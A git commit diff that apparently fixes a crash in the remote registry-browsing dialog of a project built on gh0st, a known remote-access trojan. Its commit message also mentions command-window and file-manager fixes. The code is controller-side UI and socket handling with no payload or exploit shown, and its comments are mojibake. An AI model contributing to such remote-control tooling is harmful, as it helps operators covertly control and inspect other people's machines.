修复注册表管理窗口关闭时崩溃的缺陷
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本. 2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。 3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
This commit is contained in:
@@ -29,12 +29,15 @@ IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog)
|
||||
CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: CDialog(CRegisterDlg::IDD, pParent)
|
||||
{
|
||||
m_bIsClosed = FALSE;
|
||||
m_bIsWorking = FALSE;
|
||||
m_iocpServer = IOCPServer;
|
||||
m_ContextObject = ContextObject;
|
||||
}
|
||||
|
||||
CRegisterDlg::~CRegisterDlg()
|
||||
{
|
||||
printf("~CRegisterDlg \n");
|
||||
}
|
||||
|
||||
void CRegisterDlg::DoDataExchange(CDataExchange* pDX)
|
||||
@@ -59,6 +62,14 @@ BOOL CRegisterDlg::OnInitDialog()
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
|
||||
CString str;
|
||||
sockaddr_in ClientAddr;
|
||||
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
||||
int ClientAddrLen = sizeof(ClientAddr);
|
||||
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen);
|
||||
|
||||
str.Format("%s - ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "");
|
||||
SetWindowText(str);
|
||||
|
||||
m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); //<2F><><EFBFBD><EFBFBD> <20><><EFBFBD>ؼ<EFBFBD><D8BC>ϵ<EFBFBD>ͼ<EFBFBD><CDBC>
|
||||
|
||||
@@ -94,15 +105,14 @@ BOOL CRegisterDlg::OnInitDialog()
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
|
||||
|
||||
void CRegisterDlg::OnClose()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
||||
m_ContextObject->v1 = 0;
|
||||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||
closesocket(m_ContextObject->sClientSocket);
|
||||
CDialog::OnClose();
|
||||
delete this;
|
||||
m_bIsClosed = TRUE;
|
||||
//delete this;
|
||||
}
|
||||
|
||||
|
||||
@@ -161,7 +171,6 @@ CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent)
|
||||
strTemp += "\\";
|
||||
strReturn = strTemp + strReturn;
|
||||
hCurrent = m_Tree.GetParentItem(hCurrent); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
}
|
||||
return strReturn;
|
||||
}
|
||||
@@ -171,7 +180,6 @@ char CRegisterDlg::GetFatherPath(CString& strFullPath)
|
||||
char bToken;
|
||||
if(!strFullPath.Find("HKEY_CLASSES_ROOT")) //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
|
||||
bToken=MHKEY_CLASSES_ROOT;
|
||||
strFullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT"));
|
||||
}else if(!strFullPath.Find("HKEY_CURRENT_USER"))
|
||||
@@ -201,25 +209,24 @@ char CRegisterDlg::GetFatherPath(CString& strFullPath)
|
||||
|
||||
void CRegisterDlg::OnReceiveComplete(void)
|
||||
{
|
||||
m_bIsWorking = TRUE;
|
||||
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
|
||||
case TOKEN_REG_PATH:
|
||||
{
|
||||
AddPath((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)));
|
||||
break;
|
||||
}
|
||||
|
||||
case TOKEN_REG_KEY:
|
||||
{
|
||||
AddKey((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)));
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
// <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
m_bIsWorking = FALSE;
|
||||
}
|
||||
|
||||
|
||||
@@ -238,9 +245,10 @@ void CRegisterDlg::AddPath(char* szBuffer)
|
||||
memcpy((void*)&msg,szBuffer,msgsize);
|
||||
DWORD size =msg.size;
|
||||
int count=msg.count;
|
||||
|
||||
if(size>0&&count>0){ //һ<>㱣<EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
|
||||
for(int i=0;i<count;i++){
|
||||
if (m_bIsClosed)
|
||||
break;
|
||||
char* szKeyName=szBuffer+size*i+msgsize;
|
||||
m_Tree.InsertItem(szKeyName,1,1,m_hSelectedItem,0);//<2F><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_Tree.Expand(m_hSelectedItem,TVE_EXPAND);
|
||||
@@ -258,9 +266,11 @@ void CRegisterDlg::AddKey(char* szBuffer)
|
||||
if(szBuffer==NULL) return;
|
||||
REGMSG msg;
|
||||
memcpy((void*)&msg,szBuffer,sizeof(msg));
|
||||
char* szTemp=szBuffer+sizeof(msg);
|
||||
char* szTemp=szBuffer+sizeof(msg);
|
||||
for(int i=0;i<msg.count;i++)
|
||||
{
|
||||
if (m_bIsClosed)
|
||||
break;
|
||||
BYTE Type=szTemp[0]; //<2F><><EFBFBD><EFBFBD>
|
||||
szTemp+=sizeof(BYTE);
|
||||
char* szValueName=szTemp; //ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
Reference in New Issue
Block a user